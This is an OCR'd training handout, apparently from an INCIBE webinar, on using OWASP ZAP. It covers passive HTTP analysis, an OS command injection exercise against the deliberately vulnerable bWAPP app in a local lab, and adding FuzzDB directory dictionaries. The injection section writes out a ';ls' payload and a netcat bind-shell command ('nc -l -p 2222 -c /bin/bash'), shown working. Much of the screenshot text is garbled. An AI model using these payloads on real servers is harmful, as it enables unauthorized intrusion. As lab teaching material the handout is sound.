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1. PRACTICAL EXERCISE

Learning HTTP communications in the bWAPP application using a passive approach
from a Kali Linux distribution.

The objective of this exercise is to familiarize the student with the configuration of OWASP
ZAP for HTTP traffic analysis and to study the communications used with a local domain.
The host "test" will serve as a support; we will study the type of parameters sent and
received, the method used, the location of web forms, etc. The student will use a passive
approach, without using any of the attack features available in OWASP ZAP.

Let's configure the browser proxy to use the localhost address on port 8080. Be sure to
select the "Use this proxy server for all protocols" option to include possible SSL traffic in
that setting.

— r
(—/‘ - ¢ ‘ &) Firefox ‘ about:preferencesttgeneral 80% {}‘ o =
", Kali Linux %, Kali Training “ Kali Tools “ KaliDocs “ Kali Forums %, NetHunter [ Offensive Security = Exploit-DB & GHDB ] MSFU

Connection Settings

Configure Proxy Access to the Internet
No proxy
Auto-detect proxy settings for this network
Use system proxy settings

® Manual proxy configuration

| HiTe Proxy 127.0.0.1

¥ Use this proxy server for all protocols

[ssLeroxy 127.0.0.1

ETPProxy 127.0.0.1
SOCKS Host  127.0.0.1
SOCKSv4 @ SOCKSVS

Automatic proxy configuration URL

No proxy for
localhost, 127.0.0.1

Example: .mozilla.org, .net.nz, 192.168.1.0/24

Do net prompt for authentjcation if password is saved

Proxy DNS when using SOCKS v5

Help

Figure 1 — Proxy settings

After setting the proxy, you will navigate to the http://test/app/bWAPP/login.php host and
verify that OWASP ZAP collects all requests.
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Figure 2 — Web browsing of the local "test" host

From now on we can study the type of traffic exchanged between the browser and the local
host, as well as the technologies used by the same.

For example, we can immediately observe some of the HTTP security headers used by the
web server.

) Editor Manual de Peticiones — O ht

Peticion | Respuesta ]

lEncabezaniento:Vista Raw |"'] lCuerpo:‘u’is’ta Raw |'] @ =

HTTR/1.1 28@ QK

Date: Wed, 84 Mar 2828 11:11:33 aGMT
Server: Apache

Expires: Thu, 19 Nov 1981 88:52:88 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Vary: Accept-Encoding
X-X55-Protection: 1; mode=block
Content-Length: 4823

Keep-Alive: timeout=5, max=99
Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

Figure 3 —HTTP Headers

Some of these headers (https://owasp.org/www-project-secure-headers/), such as the use
of X-XSS-Protection, would make XSS-type attacks difficult by activating certain filters in
the browser. Similarly, the X-Content-Type-Options header would make it possible to
prevent certain types of attacks as a result of "content sniffing" carried out by the browser
(http://webblaze.cs.berkeley.edu/papers/barth-caballero-song.pdf). It is recommended that
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the student researches and understands the use of these headers for a better
understanding of concepts related to web security. In this aspect, the OWASP (Open Web
Application Security Project) is one of the best starting points for understanding the basic
pillars of web security.

Continuing with the analysis of the host "test", in the information window (History tab) you
can see, the type of resources requested when accessing the main URL: CSS, JavaScript,
etc.

_[ = Historia T ‘-g Buscar T 'h"UA\enas T | Salida m

@ @ ' Filtro: APAGADO ¢ Exportar

D | Marca de tiempo Req | Métado | URL | Codigo | Razdn

1 4/3/20 11:57:49 GET hitps:/192.168.1.5:8888/app/oWAPP/login.php 502 Bad Gateway
5 4/3/20 11:58:00 GET hitps://192 168.1.5:8888/app/bWAPP/login php 502 Bad Gateway
6 4/3/20 11:58:01 GET hitps:/192.168.1.5:8888/app/bWAPP/login.php 502 Bad Gateway
7 4/3/2011:58:01 GET hitps:/192.168.1.5:8888/app/oWAPP/login.php 502 Bad Gateway
8 4/3/2011:58:07 GET hitp:i192.168 1.5:8888/app/bWAPP/login.php 200 OK

12 4/3/20 11:58:08 GET hitp:11192.168.1.5: 'app/bWAPPIsty lesheetcss 200 OK

16 4/2/20 11:58:08 GET I http:/1192.168.1.5:8828/app/bWAPP/js/himi5.js I 200 OK

32 4/3/2011:58:08 GET hitp:i192.168 1.5 pp: PPifontsfarck ter it 200 OK

36 4/3/2012:00:31 POST https:Houtiook.office 365.conmvmapi/nspi/?Mailboxld=00193407-fd64-4c8f-9634-5fe67 1dGebab@ihacklabs.com 200 OK

37 4/3/2012:00:31 POST hitps:ioutlook office 365.com/mapiinspi/?M ailboxld=0b193407-fd64-4¢c8f-9634-5fe67 1d6c6ab@ihacklabs.com 200 OK

40 4/3/2012:00:31 POST hitps:/foutiook office 365 commapi/emsmdbi?M ailbox|d=0b193407-fd64-4c8f-9634-5(e67 1dBchab@ihacklab 200 OK

41 4/312012:00:31 POST https:ioutlook.office 365.com/mapi/emsmdbi?M ailbox|d=0b193407-fd64-4c8f-0634-5fe67 1d6cbab@ihacklab... 200 OK

42 4/3/20 12:00:32 POST https:ioutlook office 365 comvmapi/emsmdbi?M ailbox|d=0b193407-fd64-4c8f-0634-5fe67 1dBc6ab@ihacklab 200 OK

43 4/3/20 12:00:33 POST hitps:/foutiook office 365 commapi/emsmdbi?M ailbox|d=0b193407-fd64-4c8f-9634-5fe67 1dBcGab@ihacklab 200 OK

44 4/3/2012:00:33 POST hitps:foutiook.office 365.com/mapi/emsmdbi?M ailbox|d=0b1923407-fd64-4c8f-0634-5fe67 1d5cbab@ihacklab... 200 OK

45 4J3/20 12:00:33 POST hitps:/foutiook office 365 commapi/emsmdbi?M ailbox|d=0b193407-fd64-4c8f-9634-5{e67 1dBcGab@ihacklab 200 OK

46 4/3/20 12:00:35 POST hitps:ffoutiook.office 365.comvmapiinspi/?Mailboxld=00193407-d64-4c8f-9634-51e67 1dGeGab@ihacklabs.com 200 OK

47 4/3/120 12:00:35 POST https:#outiook.office 365.comvmapi/nspi/?Mailboxld=0b193407-fd64-4c8f-9634-5fe67 1dGcGab@ihacklabs.com 200 OK

48 4/3/2012:00:32 POST hitps:/foutiook office 365 commapi/emsmdbi?M ailbox|d=0b193407-fd64-4c8f-9634-5fe67 1dBchiab@ihacklab 200 OK

Figure 4 — Request log

Although most of the resources are requested via the web, we can also filter by POST
methods to locate entry parameters of interest. For example, the following image shows the
information submitted when using one of the web search engines. If we had the
corresponding authorization to do a security audit, it would be interesting to test several
payloads with these parameters (by means of the fuzzing functionality) to corroborate if they
are susceptible to any vulnerability.

e P

@Ol | VisaRaw ¥ | R: =)
> &< 7 naps:fioutiook office365.com | R it historial x|
v P hap:i192 168.1.5:8888
| 2 5 se muestran abajo. Puede seleccionar
an extremely bu web app o fias en ada slemento. Un bara e s i de sus
v i P owAPP filas es seleccionada </p></imi>
> onis Métodos: Cédigos: Evquetas: Alertas Incluso URL Regex
> 2 images
AL conneck| (100 [&1 | comment | [ informdX & fess
 SCEOMRY) > Mnp oeLete ) | 101 Fom Low )
GETogin.php GET 200 Password Wediur 5
> Stylesheets HEAD 201 Sanpt High |¥ 2
7 GETuser_new php opmons| | | 202 setcoone | (<772 | URLExcRegex P
/ Cl
NeW User / ™ POST user_new php(action email fogin password.: A 263 False F A 4]
204
|wétoso |v o = Low )
— ] M = Mediur ¥
ate a new u: 193160155088 apm ] L Hmoria | Buscar | ¥ wenas | satca | + | v 28 (V| il [ty i
Connection: keep-alive =
E-ma Content-Length: 113 e |_.F||1m B eI e, Notas:| ignorar _'J
suario email@dominio.com Marca de tiempo Req Método URL }n
e 36 43220 120031 POST Mips floutiook.oMice3| | Cancelar | | Borrar Aplicar
d F 225 37 43720 12.00:31 POST hitps Houtiook ofice3f
40 47720120031 POST  hiips/ioutiook ofici 3407 1054 4GB 963451067 106CH36.. 200 OK
41 437220 1200:31 POST oMice365. 407 -1064-4C81-9634-50067 1, 200 OK
42 4520120032 POST  hipsJiouiook office36s 193407-1¢ 634-506671 200 OK
misacreto 43 4020 120033 POST 1064-4B1-9634-51667105c030.. 200 OK
44 47320120033 POST  hiips/ioutook ofice365.c 1934071 634-51667106c5ab.. 200 OK
mail activation N "

45 473120 1200:33 POST

193407-4064-4631.9534-56e67106¢5ab.. 200 OK

tos 68.1.5:888¢ - P —eam
Create Language: es,en;q=.9,e5-{ Aletas 0 /1 (%7 /3 Primary Proxy. localhost 8080

Cookie: PHPSESSIO: 1bulme3g3c151513706
Please enter all the fields! | iogin-usuario email-caai 1gdominio. comspassword-mipassweraspassword_cont-nipassuerdssecret-misecretodaction=create |

Figure 5 — POST Request form

Webinar 5 "Use of OWASP ZAP". Exercises Page 5 of 14



VICEPRESIDENCIA
TERCERA DEL GOBIERNO B /
|5 coseno SECRETARIA DE ESTADO . . /
b CESTNA T peasuntoseconomicos LR ERENST A ® CIBERSEGURIDAD
I Y TRANSFORMACION DIGITAL S

As we browse, we will frequently check the alert window to see if ZAP has detected any
security issues. In the following image, for example, it informs us that a form without a CSRF
token has been detected (hitps://cheatsheetseries.owasp.org/cheatsheets/Cross-
Site Request Forgery Prevention Cheat Sheet.html). In this case, however, the alert
does not represent any danger since the form is not related to the execution of potentially
harmful actions or the sending of critical information.

P 192168155835
" 52 nupar1ez 168158888
apo
v 5 wAPe

W GETioon pho

= istonia | =, Busear | P asenas o | | salioa | 2 Escaneo acwo | o Navegacion Predennica | 8 spicenaiatia) | 4 |

Absence of Anti-C SRF Tokens.
URL /192 163,15 8688/app/bAPPACgIn phe.

Evidencia: <form action="Tapplbi/APPRagin php” melhod=POST>
CWEID: 382
WASCID: 9
Origen:  Pasivo (10202 - Absence of AnS-CSRF Tokens)
i

o AR orsna wers Tundin THLsqusswnl:r n
» % Timestamg Disclosure - Uni (22) U solctud s i ata mele y ablig: a2 sl TP 3 joivo sin o intencin para p i e como i L uta skdad o a apca
o accones de URLAormlat que pusden s advinados e o e nml  Canarateza 5 dl ataque es que CSRG explota 12 conflanza que un sillo web proparciona a un usuarlo. Por el conlraro, las oir s oo gt ot s oo 155)

owainto

No kngwn An-CERF token [aricsrt, CERF Token, _Requesty erificationToken, carmiddiswarstaken, aufhenbaly_ioken, OWASP_CSRFTOKEN, anoncsr. carf_foken, _cs, _csfSecrel] was found n the folloning HTH L form [Form 1- Togin* ‘password |

Figure 6 — Warning about lacks of CSRF token

By carefully studying the requests intercepted by ZAP we will be able to reconstruct the
technologies used by the service. We will also be able to identify the entries that are likely
to be vulnerable. Remember, however, that active scanning or using any of the attack
features available in ZAP requires the appropriate authorization, otherwise a crime could
be committed.
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2. RESEARCH EXERCISE

The objective of the exercise is to investigate the HTTP traffic used by a certain web portal
and try to take advantage, if possible, of a vulnerability in one of its parameters. Because
this type of testing requires prior authorization from the domain owner, a web service will
be installed on a Kali instead, and the testing will be performed locally.

To proceed with the installation, download the attached bWAPP.zip file and unzip its
contents into the /var/www/ directory. Then follow the instructions described in the
INSTALL.txt file.

/html/bWAPP# 1s -1

root 4096 ene 24 15:12

root 12288 ene 24 15:12
- FWX WX rwx root 5010042 nov 2 2014 bWAPP_intro.pdf
- PWXTWXrwXx vboxsf 15058349 ene 24 15:11 bWAPP_latest.zip

- FWX WX rwx root 325 mar 8 .2014-CtientAccessPolicy.xml

- PWXIWXrwx root 200 mar 11 2014 crossdomain.xml

d rwx rwx rwx root 4096 ene 24 15:12

- FWXIrwX rwx root 2589 may 12 2014 INSTALL.txt

- FWXIwWXrwx root 2491 nov 2 2014 README.txt

- PWXTWXrwx root 8271 nov 2 2014 release_notes.txt
r/www/html/bWAPP# less INSTALL.txt

Figure 7 — bWAPP deployment

After installation verify that you have access to the web platform from your browser and that
it is correctly configured to use ZAP as a web proxy.

an ex+remely buggy web opp !

Login New User nFo Talks & Training Blog

/ Login / e AVRR

MISSING 8:
Enter your credentials (bee/bug) EXPLOITED'
CHILDREN
Login
bee
with
Password:
necs pc
Web Security
Scanner
Set the security level:
ow 5 Security Audits & Training
Login

Figure 8 - bWAPP login
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Then authenticate yourself to the portal using your default credentials (if these have not
been changed):

e Login: bee

e Password: bug

Once authenticated, choose the type of bug, "OS Command Injection” and press the Hack
button.

< c @ @ @ https://192.168.1.166/portal.ph - 0w I @

\, Kali Linux N, Kali Training *\ Kali Tools *\, Kali Docs %\, Kali Forums %\, NetHunter Jf§ Offensive Security % Exploit-DB = GHDB Jji MSFU

@ Choose your bug

bWAPP v2.2 v || Hack |

Set your gecurif}l level:
an extremely buggy web app | o~ e

Change Password ~ Create User  Set Security Level ~ Reset  Credits  Blog  Logout

/ Portal /

bWAPP, or a buggy w

pplic afree and open source deliberately insecure web application.
d s and students to discover and to prevent web vulnerabilties
ulnerabilities, including al risks from the OWASP Top 10 project!

j and educational purposes only

It helps security enthu:
bWAPP covers all maj

Itis for security

OBEC

Which bug

you want to hack today ?

iFrame Injection

LDAP Injection (Search) I NATONAL m
CENTER FOR

Mail Header Injection SMTP pr it R nlh 4

OS Command Injection MISSING &

0S Command Injection - Blind EXPLOITED

PHP Code Injection CHILDREN

Server-Side Includes (SSI) Injection
SQL Injection (GET/Search)
SQL Injection (GET/Select)

Hack |
Figure 9 — Challenge: OS Command Injection (I)

The user will find the following web portal where he will have to audit, using ZAP, if any of
the parameters used are vulnerable. He will also have to describe the type of vulnerability
found, its implications and how it would be solved. Students will not be able to use active
scanning or any of the attack functions implemented in ZAP (this includes: Spider, fuzzing,
predefined navigation, etc.). Only a manual approach can be used to improve their skills in
using OWASP ZAP. After correctly identifying the vulnerability, students will be able to study
the source code of the vulnerable script.

& c @ @ & https://192.168.1.166/c w9 m o =

\ Kali Linux \, Kali Training *\ Kali Tools *\ KaliDocs *\ Kali Forums '\ NetHunter Jj§ Offensive Security ® Exploit-DB % GHDB JIMSFU

@ Choose your bug

bWAPP v2.2 v || Hack

Set your security level
an extremely buggy web app I CEEs

Bugs  Change Password  Creafe User  Set Security Level  Reset  Credis  Blog  Logout

/ 0OS Command Inection /

DNS lookup: | www.nsa.gov Lookup

QB8 EaC

Figure 10 — Challenge: OS Command Injection (II)
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Exercise solution:

If you analyze the sent request when you press the "Lookup" button, you can see that the
input field (by default, the value www.nsa.gov) is sent via POST with the parameter target.

@ sitios | 4 [ % inicio Rapido | = Request & Response | 4

@EEO |vista Raw |v] (=3 [ vista Raw | ¥ [ cuerpo:vista Raw || [T [0
T ¥ Contextos POST http://192.168.1.166/commandi.php HTTP/1.1 HTTP/1.1 200 0K
(&) Contexto predeterminado User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 rlrefox/so o Date: Wed, 20 Jan 2020 12:20:37 GHT
v @ sitios Accept: text/html, appl1cauon/xhtml+xm1 application/xml;g=0.9, */*;q=0 Server: Apache/2.4.41 (Debian)
Accept-Language: en-US,en;q=0. Expires: Thu, 19 Nov 1981 08:52:00 GHT
v [ P http://192.168.1.166 Referer: https://192.168.1 155/command1 php Cache-Control: no-store, no-cache, must-revalidate
P GET:commandi.php Content-Type: application/x-www-form-urlencoded Pragma: no-cache
— Content-Length: 30 Vary: Accept-Encoding
Cookie: PHPSESSID-ojlpnslapbubfmysvluipuujil; security_level-o Keep-Alive: Tineoutss. max<100
Connection: keep-allve Connection: Keep-Alive

Upgrade-Insecure-Requests: 1 Content-Type: text/html; charset=UTF-8
Host: 192.168.1.166

target-wmar.nsa. gov&form=submit |

</form=
<p_alian="left">Server 1.1.1.1
Address: 1.1.1.1#53

Non-authoritative answer:

wai.nsa.gov  canonical name = nsa.gov.edgekey.net.
nsa.gov.edgekey.net canonical name = e16248.dsch.akamaiedge.net.
Name:  16248.dsch.akamaiedge.net

Address: 95.100.122.124

Name : 216248, dscb.akamaiedge.net

Address: 2a02:26f0:15:1:9000: :3f78

Name : e16248.dsch.akamaiedge.net

Address: 2a02:26f0:15:1:8400::3f78

</p>
</divs

<div id="side">

/ 0S Command Inection /

e
(e

DNSInnRup|www.nsa.gw H Lookup ‘

Server: 1.1.1.1 Address: 1.1.1.1#53 Non-autheritative answer: www.nsa.gov canonical name = nsa.gov.edgekey.net.
nsa.gov.edgekey.net canonical name = e16248.dscb.akamaiedge.net. Name: e16248.dscb.akamaiedge.net
Address: 95.100.122.124 Name: e16248.dscb.akamaiedge.net Address: 2a02:26f0:15:1:9000::3f78 Name:
e16248.dscb.akamaiedge.net Address: 2a02:26f0:15:1:8400::3f78

Osal

Figure 11 — POST Request

Note that the result returned by the server matches the output generated by the nslookup
command:

. </form=

i~# nslookup www.nsa.gov <p align="left'>Server 1111
b A S Address: 1.1.1.1#53
1.1.1.1#53 Non-authoritative answer

wnw.nsa.gov  canonical name = nsa.gov.edgekey.net
nsa.gov.edgekey.net canonical name = e16248.dscb.akamaiedge.net

on-authoritative answer: Nane:  e16248.dscb.akanaiedge.net
- Address: 95.100.122.124
.gov canonical name = nsa.gov.edgekey.net. Name:  e16248.dsch.akamaiedge.net
1 - i Add 2302:26f0:15:1:9000: :378
.edgekey.net canonical name = el16248.dscb.akamaiedge.net. B e et Shanatedgonet
e€16248.dsch.akamaiedge.net Address: 2302:26F0:15:1:8400: :3f78
: 23.216.125.52 </p>
e16248.dsch.akamaiedge.net </div>
: 2a02:2610:15:1:96000: :3f78 <div id="side">

e16248.dsch.akamaiedge.net
1 2a02:26f0:15:1:8400::3f78

Figure 12 — nslookup output seems similar to server config

Everything seems to indicate that the web server is using the value sent by the target
parameter to run it in the console and return the generated output. What would happen if
instead of sending the domain we add a second command in the input? For example, the
command: ;Is

To modify this argument on the fly, we will use the break points described in the course,
with which we can "stop" the web request before it is sent to the web service.
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v [0 P http:/192.168.1.166 Content-Type: text/ntml; charset=UTF-8
2 GET:commandi.php

target=www.nsa. govkform=subit

|
Atacar > ARadir punto de interrupcion (Break Point) @ -
Incluir en contexto 13
> [ images Marcar come un cantexta > Ublcackén: (AL o L L1
-1 Efecutar aphcacidn » e
i Fartido: B
& GETHogin.php Excluir del contexto seleccionado » “ |Regex y
. : fwer:
» 107 stylesheets o R’*"‘“' N Cadena: http://192.168.1.166/commandi.php Ical name = nsa.gov.edgekey.net
Excluir de fananical name = a16248.dsch. akanaiedge . net .
Open URL in Browser » Inverso: [ J.akamaiedge . net
Mostrar en la pagina de historial ) a4
e (o= i omcictge et
Copie las URL al portapapeles §-akamaiedge. net
Eliminar Suprimir P -m §:1:8400: :3778
Admintrar Tags... el ==
Expartar Todas las URLS a un fichero... Moo
Exportar URL seleccionadas para el archiva...
1 Parada... <div id-"side"
Herta nusva..
Alertas para este nodo » = h
Generar FORM de prueba ant-CSRF

Figure 13 — Breakpoint

After creating the breakpoint we'll click on the "Lookup" button again and replace the content
of the "target" parameter with the following string:

@ Sitios | 4 [ % micio Répido | 5 Request & Response | 4 Punto de interrupcién | <
LB [Método v |Encabezamiento: Vista Raw | ¥ [CuerpovistaRaw |v) <[] ]

¥ 7 Contextos POST http://192.168.1.166/conmandi.php HTTP/1.1
[©] Contexto predeterminado Host: 192.168.1.166
v @ Sitios User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.6
Accept: text/html,application/xhiml+xml,application/xml;q=0.9,%/+;q=0.8
¥ L P http://192.168.1.166 Accept-Language: en-US, en;q=0.5
1 P GET:commandi.php Referer: https://192.168.1.166/commandsi.php
™ Content-Type: application/x-www-form-urlencoded
Content-Length: 30
» [ fonts Cookie: PHPSESSID=0jlpnslapbmbfmvsvluipvujll: security_level=0
Connection: keep-alive
» []images Upgrade-Insecure-Requests: 1
> ERjs Pragma: no-cache
['] M GET:login.php Cache-Control: no-cache

» [P stylesheets

_] P POST:commandi.php(form target)

target-inar. nsa.gov; 1s&form=submit

Figure 14 — Modification of the target parameter

Note that this would execute the command: nslookup www.nsa.gov;ls (in Linux the '}
character allows concatenation of several commands). After forwarding the request to the
destination, we can see that we have indeed managed to recover the list of files on the

server, which would confirm the type of vulnerability.

bWAPP - 0S Command Injection - Mozilla Firefox
Analizar Reporte Herramientas Import En linea Ayuda $ Busquedas [INCIBE X | % LineadeAyudaenCi X | & Contacto|INCIBE X | & bWAPP-OS Comm: X | ¥ Preferences
EdEEE 0 DE 0 00DE A8y @D b0 REL
U = ¥
[ 5 inicio Rapido | Z Request & Response | 3¢ Punto de interrupcién | 4 (€)> C @ @ & nttps://192.168.1.166/commandi.php B |9
. o " . . X —_ (EE
(vistaraw v T | vista Raw | v | Cuerpowvista Raw |v] [C] [J '\ KaliLinux '\ Kali Training "\ Kali Tools W KaliDocs ' Kali Forums % NetHunter Pl Offensive Security ® Exploit-DB Gk
POST HTTP/1.1 200 0K Choose your buq
http://192.168.1.166/com| |Date: Wed, 20 Jan 2020 12:48:47 GMT @ Y
mandi.php HTTP/1.1 Server: Apache/2.4.41 (Debian) ‘ bWAPP v2.2 v ‘ [
User-Agent: Mozilla/5.0 | |Expires: Thu, 19 Nov 1981 08:52:00 GMT
(X11; Linux x86_64; rv: | |Cache-Control: no-store, no-cache, must-revalidate
60.0) Gecko/20100101 Pragma: no-cache Set your gecur—'r}y level:
Firefox/60.0 Vary: Accept-Encoding
Accept: text/html, Keep-Alive: timeout=5, max=100 Current: low
Spplication/enlianl, | Connaetions Keep ALive an extremely buggy web app !
application/xml;q=0.9,%/| |Content-Type: text/htnl; charset-UTF-8
*#:0=0.8 Content-Length: 16631
Accept-Language: en-US,
en:q=0.5 Address:  1.1.1.1#53
Referer:
https://192.168.1.166/<0| | yon authoritative answer: +
mmandi.php wi.Nsa.gov  canonical name = nsa.gov.edgekey.net.
Content-Type: nsa.gov.edgekey.net canonical name = e16248.dsch.akanaiedge.net
application/xuwas-forn- | ane:  €16248.dsch.akanaiedge.net
Address: 95.100.122.124 . g
Content-Length: 33 Name: 16248 dscb. akamaiedge .net mrﬂand
Cookie: PHPSESSID= Address: 2a02:2670:15:1:9000:: 378 / 0s CO Injec+lon /
031pns Lapbmbfavsviuipvu | yape; 16248, dsch. akanaiedge . net
1; security_level-o Address: 2a02:260:15:1:8400::3178 T ———
Connection: keep-alive DNS lookup ‘ Wwww.nsa.gov H Lookup |
Upgrade-Insecure- 666 — @ ==
Requests: 1 DWWA-master
Pragna: no-cache DIWA-master 2ip Server: 1.1.1.1 Address: 1.1.1.1#53 Non-authoritative answer: www.nsa.gov canonical name = nsa.gov.edgekey.net
ﬁz;:f'ig;t;ggfl”%;“he Edmmh nsa.gov.edgekey.net canonical name - e16248.dsch.akamaiedge.net. Name: e16248.dsch.akamaiedge.net
v Address: 95.100.122.124 Name: €16248.dscb.akamaiedge.net Address: 2a02:2610:15:1:9000::378 Name
target= DHAPP . 5
05300V LS&TOMM-5UB | oo eopteha_bypass . php ©16248.dscb.akamaiedge.net Address: 2a02:26f0:15:1:8400::3f78 666 DVWA-master DVWA-master.zip admin
it BaForgotean php aim.php apps BWAPP ba_captcha_bypass.php ba_forgotten.php ba_insecure_login.php ba_insecure login_1.php
Ea,msem reJ{ogm ghph ba_insecure_login_2.php ba_insecure_login_3.php ba_logout.php ba_logout_1.php ba_pwd_attacks.php
bZ*iSEZEEEZqZSih Ehz ba_pwd_attacks_1.php ba_pwd_attacks_2.php ba_pwd_attacks_3.php ba_pwd_aitacks_4.php ba_weak_pwd.php
ba_insecure_Login_3.php backdoor.php bof_1.php bof 2.php bugs.txt captcha.php captcha_box.php clickjacking.php commandi.php
ba_logout .php
ba_logout_1.php commandi_blind.php config.inc config.inc.php connect.php connect_i.php credits.php ¢s_validation.php csrf_1.php
pe_pud_sticls.prp, csrf_2.php csrf_3.php db directory_traversal_1.php directory_traversal_2.php documents fonts
pa_pud_attacks_1.php functions_external.php heartbleed.php hostheader_1.php hostheader_2.php hpp-1.php hpp-2.php hpp-3.php
Historia T @ Buscar T 8 Alertas T ] salida T 3% Puntos de interrupcion # & m htmli_current_url.php himli_get.php himli_pest.php himli_stored.php http_response_splitting.php

http_verb_tampering.php iframei.php images index.nginx-debian.htm| index.php info.php info_install.php
bilitado | Tipo
;_ information_disclosure_1.php information_disclosure_2.php information_disclosure_3.php

Figure 15 — Confirmation of injection
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With this information we can answer the following questions:

2.1. What type of vulnerability has been identified?

The wvulnerability corresponds to a command injection: as described by OWASP
(https://owasp.org/www-community/attacks/Command Injection), this type of attack:

"is possible when an application passes insecure data provided by the user (forms, cookies,
HTTP headers, etc.) to a system shell. In this attack, the operating system commands
provided by the attacker are usually executed with the privileges of the vulnerable
application. Command injection attacks are possible largely due to insufficient input
validation".

If we access the web directory and open the script commandi.php we can corroborate that
the script is invoking the nslookup command through the insecure function shell_exec
(https://www.php.net/manual/es/function.shell-exec.php) without applying any kind of
validation or filter to the target parameter.

DNS lookup:</label>
1a name value

>Lookup</button>

commandi($target))

Figure 16 — Source code (commandi.php)

2.2. What kind of implications does it have?

An attacker could execute all sorts of commands and thus completely compromise the web
server. For example, if instead of executing an "Is" the attacker had executed "nc -l -p 2222
-c /bin/bash" he would install a bind shell as a backdoor.
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sincibe_

@ sitios | 4=

{ L7 Inicio Rapido T % Request & Response TS@ Punto de interrupcién | 4=

@HEs

| Método |V] | Encab \']'ijlj

Vista Raw |v] [Cuerpu:\ﬂsta Raw

v @ Contextos
Contexto predeterminado
v @ sitios
v | [ http:/192.168.1.166
[ mGET:c
| P GET:commandi.php
|| POST:commandi.php(form,target)

» [Jrfonts
» __]images
» [ Rjs

| P GET:login.php

POST http://192.168.1.166/commandi.php HTTP/1.1

Host: 192.168.1.166

User-Agent: Mozilla/5.0 (X11; Linux x86_64: rv:608.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=08.5

Referer: https://192.168.1.166/commandi.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 64

Cookie: PHPSESSID=9i1i5p]j2uihvSepd62tdcce]q; security level=0
Connection: keep-alive

Upgrade-Insecure-Requests: 1

|| 1 POST:login.php(form.login.password.securl

target=www.nsa.govs3B+nc+-1+-p+2222+-c+%2Fbin%2Fbash:form=submit I

|| P GET:portal.php
|| P POST:portal.php(bug.form)

:~# netstat -putna

0 0 0.0.0.0:

| grep 2222 B
2222 LISTEN 18078/nc

i~# nc 192.168.1.166 2222

Linux kali 5.2.0-kali2-amd64 #1 SMP Debian 5.2.9-2kalil (2019-08-22) x86 64 GNU/Linux

Figure 17 — Bind shell with netcat

2.3. How would you address the vulnerability?

B We recommend

using the guidelines described by the OWAS project

(https://cheatsheetseries.owasp.org/cheatsheets/OS Command Injection Defens

e Cheat Sheet.html).

These countermeasures are summarized in:

®  Avoid directly invoking commands.
B Escape and filter the values provided to the commands.
B Parameterization along with proper validation of input parameters.
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3. ADDITIONAL EXERCISE

Taking advantage of the installation of the local web service used in the previous research
section, in this exercise users will learn how to add new dictionaries to ZAP for the
discovery of new web resources.

A repository of special interest for this exercise is the project at Github Fuzzdb since it
gathers many dictionaries within the predictable-filepaths directory
(https://github.com/fuzzdb-project/fuzzdb/tree/master/discovery/predictable-filepaths) for
many web technologies; for example, for CMS (Drupal, Joomla, WordPress, etc.), login
files commonly used for different platforms, etc.

If we want to make use of these dictionaries we can either download them manually from
Github or clone the whole repository locally.

:~# git clone https://github.com/fuzzdb-project/fuzzdb
Clonando en 'fuzzdb'...
remote: Enumerating objects: 3868, done.
remote: Total 3868 (delta 0), reused © (delta ©), pack-reused 3868
Recibiendo objetos: 100% (3868/3868), 6.72 MiB | 3.51 MiB/s, listo.
Resolviendo deltas: % (2152/2152), listo.

:~# cd fuzzdb/discovery/pre ble-filepaths/

fuzzdb/discovery/predi

root r ene 29
root r ene 29
root r ene 29
root r ene 29
root r ene 29
root r ene
root r ene 29
root r ene
root ri ene :49 proxy-conf.txt
root ene :49 Randomfiles.txt
root :49 tftp.txt

root ene 5

root r

root ene
fuz C

filepaths# |J

Figure 18 — Downloading dictionaries

Later, if we want to add some of these dictionaries to ZAP, to be able to be used with the
functionality "Predefined navigation”, we will go to the menu "Tools -> Options" and later we
will select the dictionary that we want (in the following image the raft-large-directories.txt
dictionary has been selected). Note that from this menu we can also configure if we want to
include file navigation, the extensions we want to include and other performance related
parameters, for example, the number of threads to use. If we want to integrate more
dictionaries we will repeat the same process.

[ sitos | + [ inicio Rpido | 2% Request & Response | & Punto de interrupcion # & | +
e Opcionés

v (5 Contextos Fr=y % &
on >

0 predeterminado ~ -
v @ Sttios Direccion de lamadas de regreso = | Nmero de hilos (threads) concurrentes por sitio:

<
................................................................
0 20 40 60 80 100 120 140 160 180 200

¥ Recursiva

Archivo por defecto: raft-large diractories lowercase.txt ol

Agregar archivo para Navegacién Predefinida: =T ik

| Forzar Navegagh= =nmemsins

Extensiones de arc Abrir o|
!

Fle extensions t0] guscar en: |(@ fiename dimamebruteforce |v) | @ | | @ | | @ | [T51]| o

Fall Case String:

" 3CharExtBrute.txt
| CommonWebExtensions.txt

ackup.txt

¥
0| Numero de peticiones:1617 ¢ Exportar
se re... | Tamano requerido para el cuerpo
|

Obytes
Nombre de archivo: | raft-large-directories.txt 5.152bytes
943bytes
Archivos de tipo: | Navegacion Predefinida 278bytes
60.190bytes
Abrir. | | Cancelar
| Establecer de nuevo a los valores predeterminados de fabrica T Canceiar T Azeptar

Figure 19 — Adding new dictionaries
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will appear and we will be able to select any of them.

istoria | -4, Buscar | U Alertas Sabda | 4 Navegacion Predefinda « = | +

sincibe_
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’
@ CIBERSEGURIDAD

Once the dictionaries are added, we will select the resource from which we want to discover
new directories and, by right clicking, we will select the option "Defined navigation directory"”
within the Attack menu. Notice that in the lower window the previously added dictionaries

] hitpex192.168.1.166 Sitio:| 192.168.1.166:80 v |usta:[raflargedirectories. et Bl b 00 ) H
Marca de tiempo Req Marca de tiempo de
29/1/20 16:35:38 29/1/20 16:35:38 e = 166:80/admin/
20/1/20 16:35:38 2911420 16:35:38 166:60/mages/
2911120 16:35:38 2911120 16:35:38 166:80/
29/1/20 16:35:38 20/1/20 16:35:38 GET http://192.168.1.166:80/s/
29/1/20 16:35:38 29/1/20 16:35:38 GET http:i/192.168.1.166:30/l095/
20/1/20 16:35:38 2911420 16:35:38 GET http:i192.168.1.166:80/db/
2911120 16:35:39 2911120 16:35:39 GET hUtp://192.168.1.166:80/AVASCTIPY
20/1/20 16:35:39 20120 16:35:39 GET hittp:/f192.168.1.166:80/sMtmlS.js
2911120 16:35:39 2911120 16:35:39 GET http://192.168.1.166:80/documents/
